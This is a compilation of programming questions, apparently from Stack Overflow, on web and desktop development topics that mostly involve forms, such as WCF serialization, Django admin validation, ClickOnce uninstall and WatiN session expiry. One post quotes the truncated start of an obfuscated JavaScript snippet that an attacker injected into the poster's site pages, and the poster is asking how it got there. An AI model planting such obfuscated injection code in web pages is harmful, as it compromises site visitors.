• What technology to use for a RIA

  - by user297159

  I have to develop a online business software solution (similar to ERP) for a company to manage the information exchange for internal use and with external partners. It should be online. What technology should I use, I have checked framewroks like: Flex, Silverlight, Google/GWT, sencha (ExtJS), jQuery, DoJo, Telereik, Infrajistics and others similar. But they seam to be very low level programming. May be this is advantage for other projects, where you need more flexibility, but this project is stright forward. I need something more focused on business software (tables, forms, processes) where and eventually more efficient with less coding, or something I can save time. Is force.com an option? But I can not install this on the customer's servers... Do you have any ideas for me for a web based framework focused on business applications?

• Text Link is Hiding my Image Link

  - by icu222much

  I have a image where text/link is overlayed on top. My problem is that sometimes the text in the foreground will hide the link in the image in the background. I assume this is because the text box forms an invisible rectangle around the text, thus creating a region that appears it should belong to the image but is actually being covered by the text. I am wondering if it is possible that when I mouse over this region, I will be linking to my image link as oppose to my text link (see illustration). http://jsfiddle.net/WHpMr/

• Why my WCF Service returns xml serialized objects?

  - by user294554

  Hi, I'm new here and I hope anyonte can help me. I have WCF Service and Windows Forms working with this client written in VB.NET. The Service class started to return xml serialized objects, but all my classes on Service side are DataContract-s and the service class is DataContractFormat. I googled everywhere about serializations and I couldn't find reason why it started to do that. I checked my classes and service, app.config file, but I couldn't find anything. I checked Reference.vb class, and it's System.Xml.Serialization.XmlElementAttribute everywhere. The question may seem dummy, but I really don't know what to do. I just want to know what can cause the service to act like that. Thank you.

• Showing custom model validation exceptions in the Django admin site.

  - by Guy Bowden

  I have a booking model that needs to check if the item being booked out is available. I would like to have the logic behind figuring out if the item is available centralised so that no matter where I save the instance this code validates that it can be saved. At the moment I have this code in a custom save function of my model class: def save(self): if self.is_available(): # my custom check availability function super(MyObj, self).save() else: # this is the bit I'm stuck with.. raise forms.ValidationError('Item already booked for those dates') This works fine - the error is raised if the item is unavailable, and my item is not saved. I can capture the exception from my front end form code, but what about the Django admin site? How can I get my exception to be displayed like any other validation error in the admin site?

• No-argument method on window.external is invoked when checking with typeof

  - by janko

  Hi, I am trying to display an HTML page with embedded JavaScript code inside a System.Windows.Forms.WebBrowser control. The JavaScript code is expected to interact with the embedding environment through the window.external object. Before invoking a method on window.external, JavaScript is supposed to check for the existance of the method. If it is not there, the code should invoke a generic fallback method. // basic idea if (typeof(window.external.MyMethod) != 'undefined') { window.external.MyMethod(args); } else { window.external.Generic("MyMethod", args); } However, checking for a no-argument method with typeof seems to invoke the method already. That is, if MyMethod accepts any positive number of arguments, the code above will work perfectly; but, if MyMethod is a no-argument method, then the expression typeof(window.external.MyMethod) will not check for its type but invoke it, too. Is there any work-around to this behavior? Can I somehow escape the expression window.external.MyMethod to prevent the method call from occurring?

• handling Javascript actions in PDF with Java

  - by Stroboskop

  I'm trying to make PDF forms (aka AcroForms) editable in Java. So far i got the GUI editing and printing working using Bruno Lowagie's iText and Sun's pdf-renderer. But now i'm close to scrapping it all, because after switching from try & error to reading the PDF specification, i realized that it's all worthless unless i can make the multitude of possible JavaScript actions work as well. I don't think iText can do that. So in short: are there any Java libraries that do proper form handling including actions? Or maybe even a Java GUI component to edit form data?

• Pros and Cons of Access Data Project (MS Access front end with SQL Server Backend)

  - by webworm

  I have been tasked with moving an existing MS Access application (mdb) over to an Access Data Project (adp). Basically the Access forms will remain the same but the data will be migrated over to SQL Server. I am not too familiar with Access Data Projects so I was hoping I could get some opinions on the pros and cons of using them. My first thought was to convert this to a web application or even a Winform application, however I really wanted to perform due dilligence in looking at Access Data Projects before making a decision. Thanks for any assistance.

• Passing an object as a parameter to a windows service

  - by user220723

  Is there some way to pass an object to a windows service? I know the method myServiceController.Star(string[] arg) but i need to pass a more complex object than a string array. Actually, i don't need the object to be passed as a parameter, what i really needs is that the service can use an object created in a windows forms application. I've tried using System.Web.Script.Serialization.JavaScriptSerializer.Serialize method to convert the object into a Json but i couldn't because the object contains a circular reference. I also tried using pointers, but i couldn't becouse it is a managed type object. Any idea what can i do?

• Django i18n: makemessages only on site level possible?

  - by AndiDog

  I have several strings in my site that don't belong to any app, for example {% block title %}{% trans "Login" %}{% endblock %} or a modified authentication form used to set the locale cookie class AuthenticationFormWithLocaleOption(AuthenticationForm): locale = forms.ChoiceField(choices = settings.LANGUAGES, required = False, initial = preselectedLocale, label = _("Locale/language")) Now when I execute django-admin.py makemessages --all -e .html,.template in the site directory, it extracts the strings from all Python, .html and .template files, including those in my apps. That is because I develop my apps inside that directory: Directory structure: sitename myapp1 myapp2 Is there any way to extract all strings that are not in my apps? The only solution I found is to move the app directories outside the site directory structure, but I'm using bzr-externals (similar to git submodules or svn externals) so that doesn't make sense in my case. Moving stuff that needs translation into a new app is also possible but I don't know if that is the only reasonable solution.

• Master data validation in service layer

  - by rakesh-nitj

  User enters the data in the forms by choosing values from the master data drop downs in web layer. Data is populated in the dropdowns based on some logic from the master data tables and we know for sure that its a valid master data as far as web layer is concern. Now my question is, should be check the validity of the master data in service layer again because we want to use service layer for mulitple interfaces (Web User Interface, Web Services, Unit Test Cases etc.) or we should validate the master data in respective interfaces only.

• How to check whether a excel file is write protected or not in C#?

  - by Pavan Navali

  Hi, I'm developing a sample application in which I have to open an excel file and check whether the file is write protercteed or not. The code is using System.Windows.Forms; using Microsoft.Office.Core; private void button1_Click(object sender, EventArgs e) { string fileNameAndPath = @"D:\Sample\Sample1.xls"; // the above excel file is a write protected. Microsoft.Office.Interop.Excel.Application a = new Microsoft.Office.Interop.Excel.Application(); if (System.IO.File.Exists(fileNameAndPath)) { Microsoft.Office.Interop.Excel.ApplicationClass app = new Microsoft.Office.Interop.Excel.ApplicationClass(); // create the workbook object by opening the excel file. app.Workbooks.Open(fileNameAndPath,0,false,5,"","",true,Microsoft.Office.Interop.Excel.XlPlatform.xlWindows,"\t",false, true, 0,false,true,0); Microsoft.Office.Interop.Excel._Workbook w = app.Workbooks.Application.ActiveWorkbook; if (w.ReadOnly) MessageBox.Show("HI"); // the above condition is true. } } I would like know whether the file is write protected or not.

• Open source alternative to Sharepoint lists

  - by Thomas

  Sharepoint's lists functionality is powerful. Because I don't want all the other functionality of Sharepoint, I have been looking for an alternative (preferrable open source) without much success. Basically I want to have a platform or web application that: allows us to define custom datatypes (for different kinds of customer products) has the possibility to create views or forms to present to the user for reading, creating or updating the information of the items of a given datatype a ui to setup this configuration is not required but would be nice to have In an ideal scenario there is an API to get the data out afterwards for further processing.

• Chunks of javascript added to webpages on server

  - by SteD

  I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected with a chunk of javascript codes at the very bottom after my original code. <script>try {this.l="";var d=window[unescape("%75%6e%65%73%63%61%70%65")];var M;if(M!='' && M!='a'){M='bt'};var A="";var Mc=new String();var e=null;this.k="";var t;if(t!='' && t!='iX'){t=''};var K=window[d("%52%65%67%45%78%70")];var p=d("%72%65%70%6c%61%63%65");function C(H,Z){var N=d("%5b" Is it possible for SQL injections to add the chunk of js code to the webpages(like 50 of them are infected)? Or is it a virus on the server itself? I am using Drupal + Ubercart with quite minimal forms inputs.

• How to create a reusable form using COCOA bindings.

  - by Juliano Sott

  hi. I want to make a user interface in which the user can edit two objects at the same time. The main window would have a vertical split view and a form on each side of the view. The problem is that the two forms are identical and I don't want to duplicate the view components in the interface builder. I want to create the form one time and add a reference to it in each side of the split view, each one using a different object source. I could use a NSForm, but the form is not a simple grid of outputTexts and inputText. They have a master table, and diverse kinds of inputs types, like combos, in the detail. How do I create the reusable form using the interface builder? Or how can I do it programmatically? Do I have to create a subclass of NSView and add the individual components in the code? Thanks, Juliano

• How to initiate an uninstall of a ClickOnce app, from within the app?

  - by dwolvin

  Can I reliably initiate the un-installation of a ClickOnce app, from within the app? In other words, I want to give the user a big "Uninstall Me Now" button on one of the forms. When a user clicks the button, I want to start the windows uninstall process for this app, and perhaps close the app. Reason: We are dead-ending a ClickOnce app and want to make it as easy to remove as it was to install. We don't want to send them down the path to "Add or Remove Programs" and risk them getting lost or distracted. Can this be done reliably?

• Command Query Separation validating for retries

  - by Neil Barnwell

  So I'm comfortable with the basic concept of CQS, where you might have a command that writes to one database, and that updates the query database that you read from. However, consider the scenario where you are entering data, and want to prevent duplicates. Using new employee data entry an employee register as an example, working through a pile of application forms to key in the new employees' details: Take top sheet. Key in employee name and unique payroll number to UI. Submit. Put paper in "completed pile". Repeat. How would you now prevent the user from keying in the same payroll number again, say for instance if they get distracted and can't remember whether they've keyed one in already and the "message" hasn't got all the way back to the query db for the user to search?

• What to return when making an Ajax request

  - by Russell

  When we return data from an Ajax call, is it better to return a document containing HTML to display on the page or return an Xml/json data which can be processed? I know different circumstances may determine what 'better' means, but I really want to know which will be more appropriate for different circumstances. I am working on the framework for a large ASP .Net application, using jQuery Ajax (forms plugin). My initial thought was to return the data as Xml, then process accordingly. Then this increases processing required in Javascript, to populate the page. I am trying to balance flexible, clear and simple. Thanks in advance for your knowledge and information.

• Losing scope for DataContex using LINQToSQL intermediately

  - by greektreat

  I am having a weird Situation with my DataConext. All My code is in C# I have a DLL project for my data access layer and business Layer which and Winforms project for my UI layer. My Data access Layer's Namespace is xxx.Data this is where have my xxx.dbml I also have xxx.Data.BusinessObjects name space of course for my business object in that project In my UI Layer I have these namespaces xxxApp(for Forms), xxxApp.Controls (For Controls) I have lost scope of the DataContext, it was accessible now when I do a Rebuild Solution I sometimes get compile errors saying for example: Error 34 'xxx.Data.xxxDataContext' does not contain a definition for 'SubmitChanges' and no extension method 'SubmitChanges' accepting a first argument of type 'xxx.Data.xxxDataContext' could be found (are you missing a using directive or an assembly reference?) Also intelisense doesn't recognize the methods and table classes from my xxxDataContext anymore I can access all object fine when I am in the DLL project but now in the Winforms project this is very strange. If anyone can help me out I would be extremely grateful!

• Adding more namespace in the code file affects performace ?

  If we imports more namespace in the code file(cs file) then it affects on perfomance ? Like we should add namespace in the cs file as needed.

• Controlling a browser from Python

  - by Noio

  I am looking for a way to control a browser from Python, i.e. fill out form fields and submit them, possibly call JS functions. I've looked around a bit, but as far as I could see PyWebKitGtk only lets you show the browser as a GUI element, not interface with it. Is there a way to do this easily? I wrote my program logic in Python, and I would hate to port it to JS. Besides that, even if I'd use pure JS "bookmarklets", those wouldn't be able to read/write to my local filesystem, would they? P.S. to quell your suspicions, I'm not trying to automatically fill out forum account creation forms or something similarly spammious, though the task is technically similar. I need to crawl/scrape sites for my research project.

• Why I sould not develop an opensource runtime UI Autogeneration from domain objects?

  - by Marco Bettiolo

  I'm using for my projects a rather complete UI auto-generation tool from database entities for windows forms and asp.net I wrote. Now I've built a working prototype UI auto-generation tool from domain objects. Right now it is in early stage of development and by reflection it generates user interface for creating and updating domain objects. I searched a bit and I didn't find other opensource projects that have the same goal. Why? This type of tool is not useful? Is this idea fundamentally flawed? Thanks.

• Is SQL Server Compact *ever* OK to use on a web server?

  - by Troy

  I'd like to host a personal database for about 500 people (1 database per person) on my web server. A person could possibly share their database with a friend or two. On my web server, I'd have some web services, perhaps for doing synchronization, and maybe even an ASP.NET Web Forms front end to the database. If I restart my IIS web server, would this likely cause database corruptions? Would this be expected to perform ok? If not Compact, should I instead use SQL Express and create a database in SQL Server for each of my 500 people?

• Expiring an IE session using WatiN

  - by Steve Wilkes

  I'm trying to write an acceptance test using WatiN which checks that a user is redirected to the login page if they navigate to a page after their session times out. I'm using WatiN's IE class for the browser, and trying the following: // 1. Login // 2. Do this: Browser.ClearCookies(); Browser.ClearCache(); // 3. Navigate to a different page But the user is always still logged in. Other info: I'm running the test through the NUnit GUI running as an administrator It's an ASP.NET MVC 3 site, using forms authentication and in-process session state I'm using IE9. If I manually clear all cookies in Chrome, the user is logged out If I manually clear all cookies in IE the user stays logged in If I call Browser.Eval("alert(document.cookie)"); in IE it alerts an empty string Given the above, I'm assuming this is a quirk with IE; any ideas how I can work around it?

• Safari - showing expired .NET Page

  - by Hidayath

  We have a strange problem in Safari. When the user logs out of our Web Application we expire the forms authentication with the following FormsAuthentication.SignOut(); Session.Abandon(); This works fine in IE and Firefox (when the user hits the back button they are presented with a page expired message and are forced to login) but in Safari the last page the user was working on shows up. I tried many of the suggested thinks like setting the Response.Expires but nothing helps , Has anyone faced this problem ? Do u have any suggestion / workarounds ? Thanks
